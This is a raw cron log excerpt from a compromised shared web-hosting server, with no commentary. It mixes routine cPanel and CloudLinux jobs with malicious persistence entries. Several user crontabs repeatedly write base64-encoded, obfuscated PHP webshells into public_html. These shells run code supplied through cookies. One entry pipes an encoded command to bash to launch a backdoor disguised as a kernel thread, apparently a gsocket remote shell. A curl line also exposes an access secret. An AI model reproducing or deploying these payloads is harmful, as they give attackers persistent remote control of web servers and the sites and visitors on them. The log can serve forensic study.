"$fp")
Mar  1 20:00:02 medusa CROND[13778]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13783]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 20:00:02 medusa CROND[13772]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13792]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:00:02 medusa CROND[13795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:00:02 medusa CROND[13797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:00:02 medusa CROND[13799]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 20:00:02 medusa CROND[13793]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 20:00:02 medusa CROND[13803]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13804]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 20:00:02 medusa CROND[13805]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:00:02 medusa CROND[13802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13811]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13824]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 20:00:02 medusa CROND[13794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13829]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:00:02 medusa CROND[13817]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13833]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13835]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 20:00:02 medusa CROND[13791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:00:02 medusa CROND[13839]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:00:02 medusa CROND[13841]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:00:02 medusa CROND[13820]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 20:00:02 medusa CROND[13796]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 20:01:01 medusa CROND[10701]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:01:01 medusa CROND[10809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:01:01 medusa CROND[10959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:01:01 medusa CROND[11020]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:01:01 medusa CROND[11021]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:01:01 medusa CROND[11022]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:01:01 medusa CROND[11030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:01:01 medusa CROND[11032]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:01:01 medusa CROND[11033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:01:01 medusa CROND[11038]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:01:01 medusa CROND[11046]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 20:01:01 medusa CROND[11045]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:01:01 medusa CROND[11048]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:01:01 medusa CROND[11050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:01:01 medusa run-parts(/etc/cron.hourly)[11046]: starting 0anacron
Mar  1 20:01:01 medusa run-parts(/etc/cron.hourly)[11188]: finished 0anacron
Mar  1 20:02:01 medusa CROND[24440]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:02:01 medusa CROND[24441]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:02:01 medusa CROND[24442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:02:01 medusa CROND[24443]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:02:01 medusa CROND[24448]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:02:01 medusa CROND[24449]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:02:01 medusa CROND[24451]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:02:01 medusa CROND[24452]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:02:01 medusa CROND[24457]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:02:01 medusa CROND[24460]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:02:01 medusa CROND[24464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
